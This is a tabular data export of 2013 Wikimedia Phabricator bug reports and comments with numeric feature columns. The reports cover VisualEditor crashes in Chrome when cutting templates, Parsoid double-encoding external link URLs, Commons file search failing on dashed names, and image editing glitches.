I experience the same bug on Chrome 28.  Chrome crashes (displaying its characteristic ""Aw snap"" error page) when I try to cut certain templates, notably {{citation needed}}, {{who}}, and other in-line templates.  This does not happen with copying.  In addition, I could not reproduce the bug in my own userspace, only in article space.",,,1374110009,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-6doqtsezbhohs5na7asr,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,1.0,0.0,5.0,1.0,6.0,8.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,5.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,17.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,9.0,1.0,1.0,3.0,0.0,0.0,0.0,0.0,5.0,1.0,1.0,0.0,6.0,8.0,1.0,0.0,2.0,0.0,6.0,0.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,3.4431818181818183,0.6818181818181818,"**ajc11123** wrote:

I experience the same bug on Chrome 28.  Chrome crashes (displaying its characteristic ""Aw snap"" error page) when I try to cut certain templates, notably {{citation needed}}, {{who}}, and other in-line templates.  This does not happen with copying.  In addition, I could not reproduce the bug in my own userspace, only in article space."
241180,VisualEditor: Chromium (< 30) crashes when attempting to cut content containing <link> or <style>,"This also happens on Chrome 28 with reference blocks, looks like. Not sure if the same problem - try cutting the ref block on https://en.wikipedia.org/wiki/Lumpectomy",,,1374082463,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-6doqtsezbhohs5na7asr,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,4.0,11.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,15.0,4.0,0.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,19.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.888888888888889,0.9259259259259259,"This also happens on Chrome 28 with reference blocks, looks like. Not sure if the same problem - try cutting the ref block on URL"
241174,VisualEditor: Chromium (< 30) crashes when attempting to cut content containing <link> or <style>,"It seems when I put a breakpoint in onCut and onCopy and step through slowly, it doesn't crash.",,,1374070133,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-6doqtsezbhohs5na7asr,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,5.0,0.0,14.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,5.0,10.0,5.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,14.0,10.0,0.0,0.0,0.0,0.0,14.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,3.7142857142857144,0.9523809523809523,"It seems when I put a breakpoint in onCut and onCopy and step through slowly, it doesn't crash."
241168,VisualEditor: Chromium (< 30) crashes when attempting to cut content containing <link> or <style>,"I don't think I manage to remove templates only with CTRL-X, but if I select some text along and then try to cut, Chrome's tab will crash as well.",,,1373664045,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-6doqtsezbhohs5na7asr,task_subcomment,,True,c1,3,False,,,1,,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,3.0,0.0,8.0,0.0,17.0,11.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,8.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,17.0,3.0,6.0,3.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,8.0,11.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2777777777777777,0.8888888888888888,"I don't think I manage to remove templates only with CTRL-X, but if I select some text along and then try to cut, Chrome's tab will crash as well."
241164,VisualEditor: Chromium (< 30) crashes when attempting to cut content containing <link> or <style>,"**bi.llybob** wrote:

Also crashes when I try to cut multiple templates in Chrome. For example, if I select the two hatnotes at the top of https://en.wikipedia.org/wiki/Mauritius",,,1373171102,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-6doqtsezbhohs5na7asr,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,18.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,18.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,6.0,18.0,3.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4705882352941178,0.8529411764705882,"**bi.llybob** wrote:

Also crashes when I try to cut multiple templates in Chrome. For example, if I select the two hatnotes at the top of URL"
241159,VisualEditor: Chromium (< 30) crashes when attempting to cut content containing <link> or <style>,"**bi.llybob** wrote:

(Chrome 27, Windows) I can't seem to text-select the template, and don't see ""Cut"" on the right-click menu when the cursor is over the template. However, I do get an error tone when I select the template and press Ctrl-X.",,,1373171014,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-6doqtsezbhohs5na7asr,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,5.0,0.0,8.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,9.0,2.0,14.0,3.0,3.0,9.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,5.0,5.0,6.0,0.0,3.0,0.0,5.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,3.171875,0.671875,"**bi.llybob** wrote:

(Chrome 27, Windows) I can't seem to text-select the template, and don't see ""Cut"" on the right-click menu when the cursor is over the template. However, I do get an error tone when I select the template and press Ctrl-X."
241153,VisualEditor: Chromium (< 30) crashes when attempting to cut content containing <link> or <style>,"The content makes its way into the clipboard, but yes, I can reproduce.",,,1372006216,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-6doqtsezbhohs5na7asr,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6875,0.9375,"The content makes its way into the clipboard, but yes, I can reproduce."
52042,Parsoid: External links are double encoded,"Intended edit (ve-edit + fixup):

https://www.mediawiki.org/w/index.php?title=Wikimedia_technical_search&diff=715707&oldid=715705

-  [https://github.com/search?l=&q=wgWellFormedXml+%40wikimedia Search]
+  [https://github.com/search?l=&q=ResourceLoader+%40wikimedia Search]

Actual edit saved by Parsoid/VisualEditor:


https://www.mediawiki.org/w/index.php?title=Wikimedia_technical_search&diff=715706&oldid=715705

-  [https://github.com/search?l=&q=wgWellFormedXml+%40wikimedia Search]
+  [https://github.com/search?l=&q=ResourceLoader+%2540wikimedia Search]


Note how the % got encoded to %25.

--------------------------
**Version**: unspecified
**Severity**: major",High,80.0,1371979620,1372442702.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-p2hyhzwp54l6ohsbe4j4,task_description,resolved,True,c1,2,True,False,True,-2,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,22.0,1.0,4.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0126582278481013,0.4810126582278481,"Intended edit (ve-edit + fixup):

URL

-  [URL Search]
+  [URL Search]

Actual edit saved by Parsoid/VisualEditor:


URL

-  [URL Search]
+  [URL Search]


Note how the % got encoded to %25.

--------------------------
**Version**: unspecified
**Severity**: major"
241104,Parsoid: External links are double encoded,"We might later want to prettify the percent encoding. Basically decode everything but some vital percent-encoded values ([%? ], probably more). But for now this is fixed.",,,1372442702,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-p2hyhzwp54l6ohsbe4j4,task_subcomment,,True,c1,2,True,,,-1,,3.0,3.0,0.0,3.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,11.0,5.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,8.0,0.0,5.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,3.0,5.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,5.0,3.891891891891892,0.918918918918919,"We might later want to prettify the percent encoding. Basically decode everything but some vital percent-encoded values ([%? ], probably more). But for now this is fixed."
241100,Parsoid: External links are double encoded,"Change 71082 merged by jenkins-bot:
Bug 50042: Don't percent-encode modified external link hrefs

https://gerrit.wikimedia.org/r/71082",,,1372442139,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-p2hyhzwp54l6ohsbe4j4,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,9.0,0.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.217391304347826,0.9130434782608695,"Change 71082 merged by jenkins-bot:
Bug 50042: Don't percent-encode modified external link hrefs

GERRIT_URL"
241096,Parsoid: External links are double encoded,"Change 71082 had a related patch set uploaded by GWicke:
Bug 50042: Don't percent-encode modified external link hrefs

https://gerrit.wikimedia.org/r/71082",,,1372441280,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-p2hyhzwp54l6ohsbe4j4,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,19.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.346153846153846,0.9615384615384616,"Change 71082 had a related patch set uploaded by GWicke:
Bug 50042: Don't percent-encode modified external link hrefs

GERRIT_URL"
241089,Parsoid: External links are double encoded,"Looks like a Parsoid bug. Works fine when data-parsoid is present, but for new annotations URLs are encoded.

<a rel=""mw:ExtLink"" href=""https://github.com/search?l=&amp;q=ResourceLoader+%40wikimedia"">Search</a>

serialises to:

[https://github.com/search?l=&q=ResourceLoader+%2540wikimedia Search]",,,1372252496,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-p2hyhzwp54l6ohsbe4j4,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,2.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,8.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,18.0,2.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,10.0,0.0,2.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,5.0,3.7,0.875,"Looks like a Parsoid bug. Works fine when data-parsoid is present, but for new annotations URLs are encoded.

<a rel=""mw:ExtLink"" href=""URL

serialises to:

[URL Search]"
52018,Search for filename with dashes on Commons does not return said file (seems to exclude string after dash),"Screenshot

I am unable to insert a media with a given file name from Commons.

Neither

File:Kölnisches Stadtmuseum - 125 x gekauft - geschenkt - gestiftet-1120.jpg

nor

Kölnisches Stadtmuseum - 125 x gekauft - geschenkt - gestiftet-1120.jpg

is accepted (and any other file name)

The ""insert media"" button is still inactive, see screenhot.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11348}",High,80.0,1371909840,1392141824.0,PHID-USER-3uecblbxq24ycewm2cog,False,,False,PHID-TASK-3nquleh2aykawirbt4st,task_description,declined,True,c1,2,False,False,False,-2,,1.0,0.0,0.0,1.0,0.0,6.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,14.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,1.0,3.0,7.0,0.0,2.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.051546391752577,0.5567010309278351,"Screenshot

I am unable to insert a media with a given file name from Commons.

Neither

File:Kölnisches Stadtmuseum - 125 x gekauft - geschenkt - gestiftet-1120.jpg

nor

Kölnisches Stadtmuseum - 125 x gekauft - geschenkt - gestiftet-1120.jpg

is accepted (and any other file name)

The ""insert media"" button is still inactive, see screenhot.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11348}"
239763,Search for filename with dashes on Commons does not return said file (seems to exclude string after dash),"Unable to replicate this bug in CirrusSearch. As we're in the process of migrating from Lucene to CirrusSearch, I'm marking this bug as RESOLVED WONTFIX.",,,1392141824,,PHID-USER-kve2ug5yc3dp6ighnmqk,False,,,PHID-TASK-3nquleh2aykawirbt4st,task_subcomment,,True,c1,3,True,,,32,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,13.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,27.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,27.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,7.0,27.0,13.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,4.3,0.8,"Unable to replicate this bug in CirrusSearch. As we're in the process of migrating from Lucene to CirrusSearch, I'm marking this bug as RESOLVED WONTFIX."
239759,Search for filename with dashes on Commons does not return said file (seems to exclude string after dash),"Searching without the dashes finds the document.  Looks like -XXX excludes all matches with XXX.  I'd advise removing the dashes, at least for now.",,,1376493859,,PHID-USER-2rnfxoezl66afpa7w7in,False,,,PHID-TASK-3nquleh2aykawirbt4st,task_subcomment,,True,c1,3,False,,,6,,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,13.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,16.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,4.0,0.8064516129032258,"Searching without the dashes finds the document.  Looks like -XXX excludes all matches with XXX.  I'd advise removing the dashes, at least for now."
239753,Search for filename with dashes on Commons does not return said file (seems to exclude string after dash),"Still an issue. Trying to add [[Commons:File:Kölner Dom - Abbau südöstliches Gerüst Nordturm-2933.jpg]] to [[de:Traverse (mechanischer Träger)]].

This is really annoying. Makes testing the VE impossible :-(",,,1374756848,,PHID-USER-3uecblbxq24ycewm2cog,False,,,PHID-TASK-3nquleh2aykawirbt4st,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,30.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,15.0,3.872340425531915,0.7659574468085106,"Still an issue. Trying to add [[Commons:File:Kölner Dom - Abbau südöstliches Gerüst Nordturm-2933.jpg]] to [[de:Traverse (mechanischer Träger)]].

This is really annoying. Makes testing the VE impossible :-("
239749,Search for filename with dashes on Commons does not return said file (seems to exclude string after dash),"This is… exceptionally odd. VisualEditor is just using the built-in search system from the cluster, and as you can see your image doesn't come up with that (or several sub-strings of that) as the search string:

https://en.wikipedia.org/w/index.php?title=Special:Search&search=K%C3%B6lnisches%20Stadtmuseum%20-%20125%20x%20gekauft%20-%20geschenkt%20-%20gestiftet-1120.jpg&fulltext=Search&profile=images&redirs=1

https://en.wikipedia.org/w/index.php?title=Special:Search&search=K%C3%B6lnisches%20Stadtmuseum%20-%20125%20x%20gekauft%20-%20geschenkt%20-%20gestiftet-1120&fulltext=Search&profile=images&redirs=1

https://en.wikipedia.org/w/index.php?title=Special:Search&search=K%C3%B6lnisches%20Stadtmuseum%20-%20125%20x%20gekauft%20-%20geschenkt%20-%20gestiftet-1120&fulltext=Search&profile=images&redirs=1

https://en.wikipedia.org/w/index.php?title=Special:Search&search=geschenkt%20-%20gestiftet-1120&fulltext=Search&profile=images&redirs=1

Interestingly, it does come up under:

https://en.wikipedia.org/w/index.php?title=Special:Search&search=gestiftet-1120&fulltext=Search&profile=images&redirs=1",,,1373156554,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-3nquleh2aykawirbt4st,task_subcomment,,True,c1,3,True,,,0,,2.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,6.0,2.0,2.0,0.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,5.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,12.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,14.0,8.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.5454545454545454,0.6818181818181818,"This is… exceptionally odd. VisualEditor is just using the built-in search system from the cluster, and as you can see your image doesn't come up with that (or several sub-strings of that) as the search string:

URL

URL

URL

URL

Interestingly, it does come up under:

URL"
52013,"VisualEditor: Consecutive images align incorrectly in ""edit"" mode and cannot be modified","See, for example, https://en.wikipedia.org/wiki/Kaveri_River

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1371896520,1371972536.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-isttvrxbjpvgt5itwu5n,task_description,resolved,True,c1,2,False,False,True,-2,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.75,0.5833333333333334,"See, for example, URL

--------------------------
**Version**: unspecified
**Severity**: normal"
239526,"VisualEditor: Consecutive images align incorrectly in ""edit"" mode and cannot be modified","This is a very odd bug that appears to be due to an old mis-cached version of the Parsoid result (it was marking each of the images as about=""null""); we've flushed the caches, and it no longer appears AFAICT. Please re-open if it recurs.",,,1371972536,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-isttvrxbjpvgt5itwu5n,task_subcomment,,True,c1,2,True,,,-2,,2.0,0.0,2.0,0.0,0.0,7.0,4.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,7.0,12.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,5.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,11.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,9.0,5.0,7.0,2.0,2.0,12.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,7.0,12.0,2.0,0.0,2.0,0.0,7.0,0.0,2.0,4.0,0.0,2.0,0.0,0.0,0.0,3.4642857142857144,0.8392857142857143,"This is a very odd bug that appears to be due to an old mis-cached version of the Parsoid result (it was marking each of the images as about=""null""); we've flushed the caches, and it no longer appears AFAICT. Please re-open if it recurs."
52012,VisualEditor: Thumbnailed images without descriptions get pipes added on edit,"Compare https://en.wikipedia.org/w/index.php?title=User:Edgepedia/sandbox3&diff=prev&oldid=560957268 to https://en.wikipedia.org/w/index.php?title=User%3AEdgepedia%2Fsandbox3&diff=560957359&oldid=560957268

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1371895500,1372124850.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-mnsdqy6zrnvlm2uqkhcw,task_description,resolved,True,c1,2,False,False,True,-2,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9545454545454546,0.5454545454545454,"Compare URL to URL

--------------------------
**Version**: unspecified
**Severity**: normal"
239494,VisualEditor: Thumbnailed images without descriptions get pipes added on edit,"Fixed (I think) in gerrit 70357 which we've just deployed - if we get a repeat, please re-open.",,,1372124850,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-mnsdqy6zrnvlm2uqkhcw,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,12.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,4.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,4.0,4.0,0.0,12.0,12.0,4.0,0.0,0.0,0.0,12.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,3.12,0.92,"Fixed (I think) in gerrit 70357 which we've just deployed - if we get a repeat, please re-open."
